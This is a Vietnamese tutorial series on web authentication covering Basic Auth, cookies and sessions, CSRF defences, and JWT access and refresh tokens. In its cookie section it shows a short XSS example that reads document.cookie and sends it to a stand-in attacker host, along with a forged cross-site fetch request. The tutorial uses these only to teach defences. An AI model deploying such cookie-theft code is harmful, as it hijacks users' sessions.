I. GIẢI NGỐ AUTHENTICATION: BASIC AUTHENTICATION
1. Tại sao cần phải authentication?
Authentication
là quá trình xác thực người dùng. Nó giúp chúng ta biết được người dùng là ai,
và có quyền truy cập vào các tài nguyên nào.
Ví dụ:
Bạn đang xây dựng
một ứng dụng web, và bạn muốn cho phép người dùng đăng nhập vào ứng dụng của bạn.
Bạn sẽ làm như thế nào?
Bạn sẽ lưu thông tin người dùng vào database, và khi người dùng đăng nhập, bạn sẽ kiểm tra thông tin đăng nhập của người dùng với thông tin trong database. Nếu thông tin đăng nhập đúng, bạn sẽ cho phép người dùng truy cập vào ứng dụng của bạn.
2. Tôi từng nghe về Authorization, nó khác gì
với Authentication?
Ví dụ ở trên
là một ví dụ đơn giản về authentication.
Nhưng nếu bạn
muốn cho phép người dùng truy cập vào các tài nguyên khác nhau, bạn sẽ làm như
thế nào? Ví dụ, bạn muốn cho phép người dùng truy cập vào các bài viết của
mình, nhưng không cho phép người dùng truy cập vào các bài viết của người khác.
Bạn sẽ làm như thế nào?
Để giải quyết
vấn đề này, chúng ta cần phải sử dụng Authorization.
Authorization
là quá trình xác định người dùng có quyền truy cập vào tài nguyên nào. Nó giúp
chúng ta biết được người dùng có quyền truy cập vào tài nguyên nào.
Thế thôi, có
thể hiểu là Authorization là cấp độ cao hơn của Authentication.
Phải xác thực người dùng trước, rồi mới xác định được người dùng có quyền truy
cập vào tài nguyên nào.
3. Luồng hoạt động của authentication
Để hiểu rõ hơn
về authentication, chúng ta cần phải hiểu luồng (flow) hoạt động của
authentication.
Dù cho ngày
nay có nhiều phương pháp authentication, nhưng luồng của chúng cơ bản vẫn giống
nhau.
Ví dụ bạn muốn
truy cập vào một trang web mà cần phải đăng nhập.
Bước 1: Client
sẽ gửi một request lên server chứa thông tin định danh client là ai, cái này có
thể là username/password, một đoạn mã nào đấy, hoặc là token, hoặc là một số
thông tin khác.
Bước 2: Server
sẽ kiểm tra thông tin định danh của client với thông tin trong database. Nếu
thông tin định danh đúng, server sẽ trả về một dấu hiệu gì đó để cho
client biết là đăng nhập thành công.
Bước 3: Client
sẽ lưu lại dấu hiệu này, và gửi dấu hiệu này lên server mỗi
khi client muốn truy cập vào các tài nguyên của server.
Bước 4: Server
sẽ kiểm tra dấu hiệu, nếu hợp lệ, server sẽ trả về tài nguyên cần thiết.
Đơn giản đúng
không nào?
Bây giờ thì đi
đến kỹ thuật authentication cổ xưa nhất là Basic Authentication.
Basic
Authentication được coi là phương pháp authentication đơn giản nhất cho một
website.
Flow làm việc
của nó rất dễ:
Khi bạn truy cập
website sử dụng cơ chế Basic Authentication, server sẽ kiểm
tra Authorization trong HTTP header. Nếu Authorization không
hợp lệ, server sẽ trả về một response với WWW-Authenticate nằm trong
header. Cái này nó sẽ làm website bạn hiển thị popup yêu cầu bạn nhập
username/password.
Bạn nhập
username/password, bạn nhấn OK thì trình duyệt sẽ tiến hành mã hóa
(encode) username/password thành một chuỗi base64 theo quy tắc username:password,
và gửi lên server thông qua HTTP header Authorization.
Server sẽ kiểm
tra và giải mã Authorization trong HTTP header. Nếu hợp lệ, server sẽ
trả về thông tin website, nếu không hợp lệ, server sẽ trả về một popup yêu cầu
bạn nhập lại username/password.
5. Ứng dụng của Basic Authentication
Mặc dù đây là
phương pháp đơn giản, thô sơ, nhưng nó vẫn được sử dụng rất nhiều trong các ứng
dụng web.
Ví dụ 1: Dự án
website của bạn khi release thì có 2 môi trường là staging và production. Vì là
môi trường staging, vẫn còn đang trong giai đoạn phát triển, nên bạn muốn chỉ
cho những người trong nhóm phát triển truy cập vào website. Vậy thì bạn có thể
sử dụng Basic Authentication để yêu cầu người dùng phải nhập username/password
để truy cập vào website. Đỡ phải code thêm một chức năng đăng nhập phức tạp.
Ví dụ 2: Bạn
có trang quản lý với url là /admin. Bạn không muốn mấy thằng táy máy vô
login liên tục trong form đăng nhập của bạn. Vậy nên bạn có thể sử dụng thêm 1
lớp Basic Authentication để yêu cầu người dùng phải nhập username/password để
truy cập vào trang quản lý.
6. Đánh giá ưu nhược điểm của Basic
Authentication
Đơn giản, dễ
hiểu, dễ triển khai. Làm được trên Nginx hay Apache luôn cũng được, không cần
can thiệp vào code backend.
Không an toàn,
vì username/password được mã hóa bằng Base64. Kẻ gian có thể đánh cắp đoạn mã
base64 này thông qua việc bắt request (Tấn công Man-in-the-middle). Vậy nên cần
phải sử dụng HTTPS để mã hóa giao tiếp giữa client và server.
Thiếu tính
linh hoạt: Basic Authentication không hỗ trợ nhiều cấp độ xác thực, quản lý quyền
truy cập, hay gia hạn/ thu hồi quyền truy cập. Điều này giới hạn khả năng mở rộng
và kiểm soát truy cập trong các ứng dụng phức tạp.
Không thể
logout khỏi website. Vì Basic Authentication chỉ yêu cầu người dùng nhập
username/password khi truy cập vào website, nên khi bạn tắt trình duyệt, bạn mới
logout ra.
Không thể sử dụng
được cho các ứng dụng mobile. Vì Basic Authentication yêu cầu người dùng nhập
username/password, nhưng trên các ứng dụng mobile thì không có giao diện để người
dùng nhập username/password.
II. GIẢI NGỐ AUTHENTICATION: COOKIE VÀ
SESSION AUTHENTICATION
Cookie là
một file nhỏ được lưu trữ trên thiết bị user. Cookie thường được dùng để lưu
thông tin về người dùng website như: tên, địa chỉ, giỏ hàng, lịch sử truy cập, mật
khẩu (à dù có thể lưu mật khẩu được nhưng đừng lưu nhé, lỡ bị hacker hack,
nó lấy đc mật khẩu là toang đấy!)...
Cookie được
ghi và đọc theo domain.
Ví dụ khi
bạn truy cập vào website cá nhân của Được https://duthanhduoc.com, và
server mình trả về cookie thì trình duyệt của bạn sẽ lưu cookie cho
domain duthanhduoc.com.
Khi bạn gửi
request đến https://duthanhduoc.com (bao gồm việc bạn enter url vào
thanh địa chỉ hay gửi api đến) thì trình duyệt của bạn tìm kiếm có cookie nào của https://duthanhduoc.com không
và gửi lên server https://duthanhduoc.com.
Nhưng nếu bạn
truy cập vào https://google.com thì google sẽ không đọc được cookie
bên https://duthanhduoc.com, vì trình duyệt không gửi lên.
Lưu ý: Nếu bạn
đang ở trang https://google.com và gửi request đến https://duthanhduoc.com thì
trình duyệt sẽ tự động gửi cookie của https://duthanhduoc.com lên
server của https://duthanhduoc.com, đây là một lỗ hổng để hacker tấn công CSRF. Để tìm hiểu thêm về kỹ thuật tấn công
và cách khắc phục thì các bạn đọc thêm ở những phần dưới nhé.
Mẹo:
Một website có
thể lưu nhiều cookie khác nhau, ví dụ profile, cart, history, ...
Mẹo:
Bộ nhớ của
cookie có giới hạn, nên bạn không nên lưu quá nhiều thông tin vào cookie. Thường
thì một website chỉ nên lưu tối đa 50 cookie và tổng cộng kích thước
của các cookie trên website đó không nên vượt quá 4KB.
Đến đây mình sẽ
làm rõ một số vấn đề về cookie như sau
Nó lưu trong 1
cái file, file này thì được lưu ở trên ổ cứng của bạn. Vậy nên là bạn tắt trình
duyệt, shutdown máy tính đi mở lại thì nó vẫn còn đấy.
Ví dụ Truy cập
file cookie trên macOS
Trên macOS,
các file cookie được lưu trữ trong thư mục của trình duyệt web bạn đang sử dụng.
Cụ thể:
Các file
cookie của Google Chrome được lưu trữ tại: /Users/<username>/Library/Application
Support/Google/Chrome/Default/Cookies
Các file
cookie của Firefox được lưu trữ tại: /Users/<username>/Library/Application
Support/Firefox/Profiles/<profile folder>/cookies.sqlite
Các file
cookie của Safari được lưu trữ tại: /Users/<username>/Library/Cookies/Cookies.binarycookies
Thường thì
không ai vào đây xem đâu, vì nó là file nhị phân, bạn không thể đọc được nó.
Chúng ta sẽ dùng trình duyệt để xem nhé.
3. Làm sao để ghi dữ liệu lên cookie của trình
duyệt?
Có 3 cách để
ghi dữ liệu lên cookie
Khi bạn truy cập
vào 1 url hoặc gọi 1 api, server có thể set cookie lên máy tính của bạn bằng
cách trả về header Set-Cookie trong response.
Bạn có thể
dùng javascript để set cookie lên máy tính của bạn thông
qua document.cookie
Bạn có thể
dùng trình duyệt, mở devtool lên và set cookie lên máy tính của bạn
4. Làm sao để đọc dữ liệu từ cookie?
Khi bạn truy cập
vào 1 url hoặc gọi 1 api, trình duyệt sẽ tự động gửi cookie lên
server. Nhớ là tự động luôn nha, bạn không cần làm gì cả.
Ngoài ra bạn
có thể dùng Javascript để đọc cookie của bạn. Lưu ý là nếu cookie được set
HttpOnly thì bạn không thể đọc được cookie bằng Javascript đâu nhé.
Hoặc mở
devtool lên xem.
Lưu ý là
cookie lưu ở trang nào thì trình duyệt sẽ gửi cookie trang đó lên server nha. Nếu
cookie của https://facebook.com thì không có chuyện bạn
vào https://duthanhduoc.com và mình đọc được cookie facebook của bạn
đâu.
5. Một số lưu ý quan trọng khi sử dụng cookie
Khi
set HttpOnly cho một cookie của bạn thì cookie đó sẽ không thể đọc được
bằng Javascript (tức là không thể lấy cookie bằng document.cookie được).
Điều này giúp tránh được tấn công XSS.
Tấn công XSS
hiểu đơn giản là người khác có thể chạy được code javascript của họ trên trang
web của bạn. Ví dụ bạn dùng một thư viện trên npm, người tạo thư viện này cố
tình chèn một đoạn code javascript như sau:
// Lấy cookie
const cookie =
document.cookie
// Gửi cookie
về một trang web khác
const xhr =
new XMLHttpRequest()
xhr.open('POST',
'https://attacker.com/steal-cookie', true)
xhr.setRequestHeader('Content-Type',
'application/x-www-form-urlencoded')
xhr.send(`cookie=${cookie}`)
Khi bạn deploy
website, user truy cập vào website của bạn, thì đoạn code trên sẽ chạy và gửi
cookie của user về cho kẻ tấn công (người tạo thư viện). Nếu cookie chứa các
thông tin quan trọng như tài khoản ngân hàng, mật khẩu, ... thì user đã bị hack
rồi.
Để
set HttpOnly cho cookie, bạn chỉ cần thêm option httpOnly:
true vào cookie như sau
// Thiết lập
cookie với httponly
res.cookie('cookieName',
'cookieValue', { httpOnly: true })
Khi set Secure
cho một cookie của bạn thì cookie đó chỉ được gửi lên server khi bạn truy cập
vào trang web bằng https. Điều này giúp tránh được các lỗ hổng MITM
(Man in the middle attack).
Mẹo:
Man-in-the-middle
(MITM) là một kỹ thuật tấn công mạng, trong đó kẻ tấn công can thiệp vào kết nối
giữa hai bên và trộn lẫn thông tin giữa họ. Khi bị tấn công, người dùng thường
không nhận ra được sự can thiệp này. Ví dụ bạn dùng wifi công cộng, kẻ tấn công
có thể đọc được dữ liệu bạn gửi đi.
Để set Secure
cho cookie, bạn chỉ cần thêm option secure: true vào cookie như sau
res.cookie('cookieName',
'cookieValue', { secure: true })
Lợi dụng cơ chế
khi request trên một url nào đó, trình duyệt sẽ tự động gửi cookie lên server,
kẻ tấn công có thể tạo một trang web giả mạo, khi user truy cập vào trang web
giả mạo và thực hiện hành động nào đó, trình duyệt sẽ tự động gửi cookie lên
server, kẻ tấn công có thể lợi dụng cookie này để thực hiện các hành động độc hại.
7. Cách phòng chống tấn công CSRF
Cách
1: Sử dụng thuộc tính SameSite=Strict cho cookie
Với SameSite=Strict thì
cookie sẽ không được gửi đi nếu request không phải là request từ trang web hiện
tại. Ví dụ như ở trên thì cookie sẽ không được gửi đi nếu request đến từ http://127.0.0.1:3300
Lưu ý với
SameSite
Quy tắc quyết
định 2 site có phải là same không nó phức tạp hơn bạn nghĩ.
Ví dụ như 2
site https://edu.duthanhduoc.com và http://duthanhduoc.com được
coi là same site vì cùng public suffix duthanhduoc.com
Nhưng 2
site https://duthanhduoc.github.io và https://dtd.github.io thì
không được coi là same site vì khác public suffix, ở đây các bạn có thể hiểu github.io nó
giống như cái tên miền com rồi.
Cách
2: Sử dụng CSRF Token:
CSRF token là
một chuỗi ngẫu nhiên được tạo ra để bảo vệ khỏi tấn công Cross-Site Request
Forgery (CSRF). Khi người dùng yêu cầu truy cập tài nguyên, server sẽ tạo ra một
token và gửi nó về cho người dùng. Khi người dùng gửi yêu cầu tiếp theo, họ phải
bao gồm token này trong yêu cầu của mình. Nếu token không hợp lệ, yêu cầu sẽ bị
từ chối. Điều này giúp ngăn chặn kẻ tấn công thực hiện các yêu cầu giả mạo.
Cách
3: Sử dụng CORS:
Cross-Origin
Resource Sharing (CORS) là một cơ chế để ngăn chặn các yêu cầu từ các tên miền
khác nhau. Bằng cách thiết lập CORS, bạn có thể chỉ cho phép các yêu cầu từ các
tên miền cụ thể hoặc từ tất cả các tên miền. Ví dụ như ở trên thì nếu server
facebook chỉ cho phép các yêu cầu từ tên miền http://localhost:3000 thì
hacker sẽ không thể tấn công được.
8. Single Page Application có bị tấn công CSRF
không?
Câu trả lời là
có! Nhưng hiếm khi xảy ra trừ khi bạn chủ động set SameSite=None cho
cookie của bạn.
Như các bạn thấy
thì CSRF nghĩa là một request được thực hiện trên một trang web hacker. Nãy giờ
chúng ta chỉ ví dụ với cơ chế GET POST truyền thống, chứ không phải REST API phổ
biến như chúng ta thao tác ngày nay.
Với REST API
thì để gửi một request đến http://localhost:3000/status trên trang
web http://127.0.0.1:3300 chúng ta có thể dùng fetch API như dưới
đây.
fetch('http://localhost:3000/status',
{
method: 'POST',
credentials: 'include',
body: {
content: 'Hacker đã đăng bài'
}
})
Lúc này cookie
của http://localhost:3000 sẽ không được gửi
lên http://localhost:3000/status đâu, vì nếu các bạn không set
SameSite khi server trả về thì mặc định trình duyệt sẽ ngầm hiểu đây là SameSite=Lax.
Mà với SameSite=Lax thì
chỉ cho phép gửi cookie đối với những GET request, còn POST request thì không
được gửi cookie đâu.
Còn nếu bạn
set SameSite=none (khi đó phải thêm secure=true nữa
browsers nó mới chập nhận cái samesite none này) thì khỏi nói luôn, hacker có
thể thay đổi data của bạn nếu bạn truy cập trang web của hacker.
9. Tóm lại thì làm sao bảo vệ website khỏi
CSRF?
Nếu bạn không
dùng cookie thì không cần quan tâm, vì no cookie no CSRF.
Nếu bạn sài
combo REST API và SPA thì đầu tiên là phải thiết lập
cors, httpOnly=true, secure=true, SameSite=Strict hoặc SameSite=Lax.
Cẩn thận với SameSite=Strict:
Vì nếu bạn
set SameSite=Strict thì khi bạn đăng nhập vào example.com rồi.
Bây giờ bạn click vào đường link example.com trên trang web khác thì
trình duyệt sẽ không gửi cookie đâu, dẫn đến việc dù bạn đã đăng nhập lúc nãy
nhưng vẫn bị chuyển về trang login vì bị cho là chưa đăng nhập.
Cái này thường
xảy ra khi website của bạn là website theo MPA truyền thống, còn nếu là SPA thì
không sao cả, vì hầu như các SPA chúng ta đều gọi request và gửi cookie lên
server thông qua fetch hay XMLHttpRequest (tức là đã
redirect đến trang) chứ không phải ngay khi click vào đường link.
Cá nhân mình
nghĩ không cần phải dùng thêm CSRF token nữa, vì nó chỉ làm cho cơ chế xác thực
của bạn phức tạp hơn thôi. Như trên là đủ rồi.
Session là
phiên lưu trữ trên server để quản lý thông tin liên quan đến mỗi người dùng
trong quá trình tương tác với ứng dụng.
Session được
lưu trữ trên server, còn cookie được lưu trữ trên client. Nhớ rõ điều này nha.
Session có thể
được lưu ở dạng file, database, cache, memory, ... tùy vào cách thiết kế server
như thế nào.
Session
Authentication là một cơ chế xác thực người dùng bằng cách sử dụng session.
Khi người dùng
đăng nhập thành công, server sẽ tạo ra một session mới và gửi session id đó về
cho client thông qua cookie (thường là cookie thôi chứ không nhất thiết, client
có thể lưu vào local storage cũng được). Client sẽ gửi nó lên server mỗi khi thực
hiện một request. Server kiểm tra session id này có tồn tại hay không, nếu có
thì xác thực thành công, không thì xác thực thất bại. (nếu chưa đăng nhập thì sẽ
chuyển hướng sang đăng nhập).
Flow
hoạt động của Session Authentication
Hình dưới đây
là luồng hoạt động của phương pháp xác thực bằng session.
Luồng
hoạt động của Session Authentication
Client gửi
request vào tài nguyên được bảo vệ trên server. Nếu client chưa được xác thực,
server sẽ trả lời với một lời nhắc đăng nhập. Client gửi username và password của
họ cho server.
Server xác
minh thông tin xác thực được cung cấp so với cơ sở dữ liệu người dùng. Nếu
thông tin xác thực khớp, server tạo ra một Session Id duy nhất và tạo một
session tương ứng trong bộ nhớ lưu trữ phía server (ví dụ: ram, database, hoặc
file nào đó).
Server gửi
Session Id cho client dưới dạng cookie, thường là với tiêu đề Set-Cookie.
Client lưu trữ
cookie.
Đối với các
yêu cầu tiếp theo, client gửi cookie chứa Session Id lên server.
Server kiểm
tra Session Id trong cookie so với dữ liệu session được lưu trữ để xác thực người
dùng.
Nếu được xác
nhận, server cấp quyền truy cập vào tài nguyên được yêu cầu. Khi người dùng
đăng xuất hoặc sau một khoảng thời gian hết hạn được xác định trước, server làm
vô hiệu phiên
Ưu
nhược điểm của Session Authentication
Dễ triển khai,
hầu như mấy framework web hiện nay đều giúp bạn thực hiện session
authentication một cách cực kỳ dễ dàng chỉ với vài dòng code
Bảo mật thông
tin người dùng. Như bạn thấy đấy, người dùng chỉ lưu một cái chuỗi ngẫu nhiên
(session id) trên máy mình và gửi nó lên server qua mỗi request, nên mấy cái
thông khác như username, password, ... không bị lộ ra ngoài.
Toàn quyền kiểm
soát phiên làm việc của người dùng. Vì mọi thứ bạn lưu trữ ở server nên bạn có
thể đăng xuất người dùng bất cứ khi nào bạn muốn bằng việc xóa session id của họ
trong bộ nhớ lưu trữ phía server.
Việc toàn quyền
kiểm soát vừa là ưu điểm cũng vừa là nhược điểm của session authentication. Vì
bạn phải lưu trữ thông tin phiên làm việc của người dùng nên bạn phải có một bộ
nhớ lưu trữ phía server. Ví dụ bạn lưu trữ trên RAM thì không thể chia sẻ cho
các server khác được (dính DDOS hay restart server lại mất hết), lưu trữ trên
database thì lại tốn kém thêm chi phí, bộ nhớ,...
Bộ nhớ lưu trữ
session sẽ phình to rất nhanh vì mỗi khi có một người dùng đăng nhập thì bạn lại
phải lưu trữ một session id mới, cái này phình to nhanh lắm đấy.
Tốc độ chậm,
vì mỗi request đến server, server điều phải kiểm tra trong bộ nhớ lưu trữ xem
session id có hợp lệ hay không. Nếu bạn lưu trữ trên database thì tốc độ sẽ chậm
hơn nữa.
Khó khăn trong
việc scale ngang server. Ví dụ khi server lớn lên, bạn phải có nhiều server để
chịu tải hơn, thì việc chia sẻ session id giữa các server là một vấn đề khó
khăn, kiểu gì bạn cũng phải tìm cái gì đó chung giữa các server như database
chung chẳn hạn. Lại database, nếu nó lớn lên lại tìm cách scale database.
Mẹo:
Scale ngang là
chúng ta mở rộng quy mô hệ thống bằng cách thêm các server mới vào hệ thống,
thay vì nâng cấp server hiện tại lên một cấu hình cao hơn.
Mẹo:
Scale dọc là
chúng ta mở rộng quy mô hệ thống bằng cách nâng cấp server hiện tại lên một cấu
hình cao hơn.
III. [P3] GIẢI NGỐ AUTHENTICATION: JWT
1. JWT là gì?
JSON Web Token
(JWT), phát âm là "jot" (giót), là một chuẩn mở (RFC
7519) giúp truyền tải thông tin dưới dạng JSON.
Ở đây có một
lưu ý là: Tất cả các JWT đều là token, nhưng không phải tất cả các token đều là
JWT.
Sẵn tiện nếu bạn
thắc mắc "Token là gì?" thì mình giải thích ngắn gọn như
sau: Token là một chuỗi ký tự được tạo ra để đại diện cho một đối tượng
hoặc một quyền truy cập nào đó, ví dụ như access token, refresh token, jwt...
Token thường được sử dụng trong các hệ thống xác thực và ủy quyền để kiểm soát
quyền truy cập của người dùng đối với tài nguyên hoặc dịch vụ.
Bởi vì kích
thước tương đối nhỏ, JWT có thể được gửi qua URL, qua tham số POST, hoặc bên
trong HTTP Header mà không ảnh hưởng nhiều đến tốc độ request.
Dưới đây là một
JWT sau khi được encode và sign:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoiNjQ0MTE4NDdhZmJkYjUxMmE1MmMwNTQ4IiwidHlwZSI6MCwiaWF0IjoxNjgyMDgyNTA0LCJleHAiOjE2OTA3MjI1MDR9.QjSI3gJZgDSEHz6eYkGKIQ6gYiiizg5C0NDbGbGxtWU
Cái chuỗi JWT
trên có cấu trúc gồm ba phần, mỗi phần được phân tách bởi dấu chấm
(.): Header, Payload và Signature.
Header: Phần
này chứa thông tin về loại token (thường là "JWT") và thuật toán mã
hóa được sử dụng để tạo chữ ký (ví dụ: HMAC SHA256 hoặc RSA). Header sau đó được
mã hóa dưới dạng chuỗi Base64Url. (Thử decode Base64 cái chuỗi eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 này
ra thì nó sẽ có dạng '{"alg":"HS256","typ":"JWT"}')
Payload: Phần
này chứa các thông tin mà người dùng định nghĩa. Payload cũng được mã hóa dưới
dạng chuỗi Base64Url.
Signature: Phần
này được tạo bằng cách dùng thuật toán HMACSHA256 (cái này có thể thay đổi) với
nội dung là Base64 encoded Header + Base64 encoded Payload kết hợp một
"secret key" (khóa bí mật). Signature (Chữ ký) giúp đảm bảo tính toàn
vẹn và bảo mật của thông tin trong JWT (Công thức chi tiết nhìn xuống phía dưới
nhé)
Bạn copy cái
chuỗi trên và paste vào jwt.io thì sẽ thấy kết quả như sau
HEADER:ALGORITHM
& TOKEN TYPE
{
"alg": "HS256",
"typ": "JWT"
}
PAYLOAD:DATA
json
{
"user_id":
"64411847afbdb512a52c0548",
"type": 0,
"iat": 1682082504,
"exp": 1690722504
}
VERIFY
SIGNATURE
HMACSHA256(base64UrlEncode(header)
+ '.' + base64UrlEncode(payload), secret_key)
Lúc này bạn sẽ
thắc mắc "Vậy tất cả mọi người đều biết được thông
tin Header và Payload của cái JWT?"
Đúng rồi
Nhưng có một
điều quan trọng là chỉ có server mới biết được secret_key để tạo
ra Signature. Vì vậy chỉ có server mới có thể verify được cái JWT này là
do chính server tạo ra.
Bạn không tin
ư? Tôi đố bạn tạo ra được JWT như trên đó, dù bạn biết Header và Payload nhưng
để tạo ra cái Signature thì bạn cần phải biết được secret_key của
mình (nhìn c).
Mặc định thì
JWT dùng thuật toán HMACSHA256 nên chúng ta yên tâm rằng JWT có độ an toàn cực
cao và rất khó bị làm giả.
Hiểu được JWT
rồi thì chúng ta cùng tìm hiểu về cách sử dụng JWT trong việc xác thực người
dùng nhé.
2. Xác thực người dùng với Access Token
Ở bài Session Authentication thì chúng ta được
học rằng mỗi request lên server thì đều phải kèm theo session id để server có
thể xác thực người dùng này là ai, có quyền truy cập tài nguyên hay không. Cái
session id này được lưu ở cơ sở dữ liệu trên server, mỗi lần request phải mò
vào đó kiểm tra xem session id này có trong đó không, rất mất thời gian.
Với JWT thì
người ta phát hiện ra rằng chỉ cần tạo 1 cái token JWT, lưu thông tin người
dùng vào như user_id hay role... rồi gửi cho người dùng, server
không cần phải lưu trữ cái token JWT này làm gì. Mỗi lần người dùng request lên
server thì gửi cái token JWT này lên, Server chỉ cần verify cái token JWT này
là biết được người dùng này là ai, có quyền truy cập tài nguyên hay không.
Mẹo:
Phương pháp
dùng token để xác thực như thế này người ta gọi là Token Based
Authentication.
Bạn sợ ai đó
có thể làm giả cái token JWT của bạn hả?
Không! Không
có ai có thể tạo ra được cái token JWT của bạn trừ khi họ biết
cái secret_key của bạn, mà cái secret_key này bạn lưu trữ
trên server mà, sao mà biết được (trừ bạn bị hack hay lỡ tay làm lộ thì chịu).
Vậy là chúng
ta không cần lưu trữ cái JWT này trên server nữa, chỉ cần client lưu trữ là đủ
rồi.
Tiết kiệm biết
bao nhiêu là bộ nhớ cho server, mà còn nhanh nữa chứ (vì bỏ qua bước kiểm tra
trong cơ sở dữ liệu, cái bước verify jwt thì nó nhanh lắm)
Và cái token ở
trên để xác thực người dùng có quyền truy cập vào tài nguyên hay không người ta
gọi là Access Token.
Access Token
là một chuỗi với bất kỳ định dạng nào, nhưng định dạng phổ biến nhất của
access token là JWT. Thường thì cấu trúc data trong access token sẽ theo chuẩn này. Tuy nhiên bạn có thể thay đổi theo ý thích, miễn
sao phù hợp với dự án là được.
Đây là một chuỗi
access token mẫu
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoiNjQ0MTE4NDdhZmJkYjUxMmE1MmMwNTQ4IiwiaWF0IjoxNjgyMDgyNTA0LCJleHAiOjE2OTA3MjI1MDR9.tWlX7E7NPNftg37fXrdsXvkgEWB_8zaHIQmryAXzElY
Đây là payload
của access token trên
json
{
"user_id":
"64411847afbdb512a52c0548",
"iat": 1682082504,
"exp": 1690722504
}
Trong này có 3
trường quan trọng mà server dùng để kiểm tra token liệu có đúng người, hay còn
hiệu lực không
user_id: Chính
là id định danh của người dùng, để biết token này là của người nào
iat: Thời gian
bắt đầu token này có hiệu lực
exp: Thời gian
kết thúc token này
Tùy từng trường
hợp mà server có thể thêm các trường vào payload khi tạo access token, không cần
cứng nhắc quá.
Flow
xác thực người dùng với Access Token
Hình dưới đây
là luồng hoạt động của phương pháp xác thực bằng Access Token.
Luồng xác thực người dùng bằng Access Token
Client gửi
request vào tài nguyên được bảo vệ trên server. Nếu client chưa được xác thực,
server trả về lỗi 401 Authorization. Client gửi username và password của họ cho
server.
Server xác
minh thông tin xác thực được cung cấp so với cơ sở dữ liệu user. Nếu thông tin
xác thực khớp, server tạo ra một JWT chứa payload là user_id (hoặc
trường nào đó định danh người dùng). JWT này được gọi là Access Token.
Server gửi
access token cho client.
Client lưu trữ
access token ở bộ nhớ thiết bị (cookie, local storage,...).
Đối với các
yêu cầu tiếp theo, client gửi kèm access token trong header của request.
Server verify access token bằng
secret key để kiểm tra access token có hợp lệ không.
Nếu hợp lệ,
server cấp quyền truy cập vào tài nguyên được yêu cầu. Khi người dùng muốn đăng
xuất thì chỉ cần xóa access token ở bộ nhớ thiết bị là được.
Khi access
token hết hạn thì server sẽ từ chối yêu cầu của client, client lúc này sẽ xóa
access token ở bộ nhớ thiết bị và chuyển sang trạng thái bị logout.
Như flow trên
thì chúng ta không lưu access token ở trên server, mà lưu ở trên client. Điều
này gọi là stateless, tức là server không lưu trữ trạng thái nào của người dùng
nào cả.
Khuyết điểm của
nó là chúng ta không thể thu hồi access token được. Các bạn có thể xem một số
ví dụ dưới đây.
Ví dụ 1: Ở
server, chúng ta muốn chủ động đăng xuất một người dùng thì không được, vì
không có cách nào xóa access token ở thiết bị client được.
Ví dụ
2: Client bị hack dẫn đến làm lộ access token, hacker lấy được access
token và có thể truy cập vào tài nguyên được bảo vệ. Dù cho server biết điều đấy
nhưng không thể từ chối access token bị hack đó được, vì chúng ta chỉ verify
access token có đúng hay không chứ không có cơ chế kiểm tra access token có nằm
trong danh sách blacklist hay không.
Với ví dụ thứ
2, chúng ta có thể thiết lập thời gian hiệu lực của access token ngắn, ví dụ là
5 phút, thì nếu access token bị lộ thì hacker cũng có ít thời gian để xâm nhập
vào tài nguyên của chúng ta hơn => giảm thiểu rủi ro.
Nhưng mà cách
này không hay lắm, vì nó sẽ làm cho người dùng bị logout và phải login sau mỗi
5 phút, rất khó chịu về trải nghiệm người dùng (các app ngân hàng hay áp dụng
cái này).
Lúc này người
ta mới nghĩ ra ra một cách để giảm thiểu những vấn đề trên, đó là sử dụng thêm Refresh
Token.
Refresh Token
là một chuỗi token khác, được tạo ra cùng lúc với Access Token. Refresh Token
có thời gian hiệu lực lâu hơn Access Token, ví dụ như 1 tuần, 1 tháng, 1 năm...
Flow xác thực
với access token và refresh token sẽ được cập nhật như sau:
Client gửi
request vào tài nguyên được bảo vệ trên server. Nếu client chưa được xác thực,
server trả về lỗi 401 Authorization. Client gửi username và password của họ cho
server.
Server xác
minh thông tin xác thực được cung cấp so với cơ sở dữ liệu user. Nếu thông tin
xác thực khớp, server tạo ra 2 JWT khác nhau là Access Token và
Refresh Token chứa payload là user_id (hoặc trường nào đó định danh
người dùng). Access Token có thời gian ngắn (cỡ 5 phút). Refresh Token có thời
gian dài hơn (cỡ 1 năm). Refresh Token sẽ được lưu vào cơ sở dữ liệu, còn
Access Token thì không.
Server trả về
access token và refresh token cho client.
Client lưu trữ
access token và refresh token ở bộ nhớ thiết bị (cookie, local storage,...).
Đối với các
yêu cầu tiếp theo, client gửi kèm access token trong header của request.
Server verify
access token bằng secret key để kiểm tra access token có hợp lệ không.
Nếu hợp lệ,
server cấp quyền truy cập vào tài nguyên được yêu cầu.
Khi access
token hết hạn, client gửi refresh token lên server để lấy access token mới.
Server kiểm
tra refresh token có hợp lệ không, có tồn tại trong cơ sở dữ liệu hay không. Nếu
ok, server sẽ xóa refresh token cũ và tạo ra refresh token mới với
expire date như cũ (ví dụ cái cũ hết hạn vào 5/10/2023 thì cái mới cũng hết
hạn vào 5/10/2023) lưu vào cơ sở dữ liệu, tạo thêm access token mới.
Server trả về
access token mới và refresh token mới cho client.
Client lưu trữ
access token và refresh token mới ở bộ nhớ thiết bị (cookie, local
storage,...).
Client có thể
thực hiện các yêu cầu tiếp theo với access token mới (quá trình refresh token
diễn ra ngầm nên client sẽ không bị logout).
Khi người dùng
muốn đăng xuất thì gọi API logout, server sẽ xóa refresh token trong cơ sở dữ
liệu, đồng thời client phải thực hiện xóa access token và refresh token ở bộ nhớ
thiết bị.
Khi refresh
token hết hạn (hoặc không hợp lệ) thì server sẽ từ chối yêu cầu của client,
client lúc này sẽ xóa access token và refresh token ở bộ nhớ thiết bị và chuyển
sang trạng thái bị logout.
Vấn
đề bất cập giữa lý thuyết và thực tế
Mong muốn của
việc xác thực bằng JWT là stateless, nhưng ở trên các bạn để ý mình lưu refresh
token vào cơ sở dữ liệu, điều này làm cho server phải lưu trữ trạng thái của
người dùng, tức là không còn stateless nữa.
Chúng ta muốn
bảo mật hơn thì chúng ta không thể cứng nhắc cứ stateless được, vậy nên kết hợp
stateless và stateful lại với nhau có vẻ hợp lý hơn. Access Token thì
stateless, còn Refresh Token thì stateful.
Đây là lý do
mình nói có sự mâu thuẫn giữa lý thuyết và thực tế áp dụng, khó mà áp dụng hoàn
toàn stateless cho JWT trong thực tế được.
Và có một lý
do nữa tại sao mình lưu refresh token trong database đó là refresh token thì có
thời gian tồn tại rất là lâu, nếu biết ai bị lộ refresh token thì mình có thể
xóa những cái refresh token của user đó trong database, điều này sẽ làm cho hệ
thống an toàn hơn.
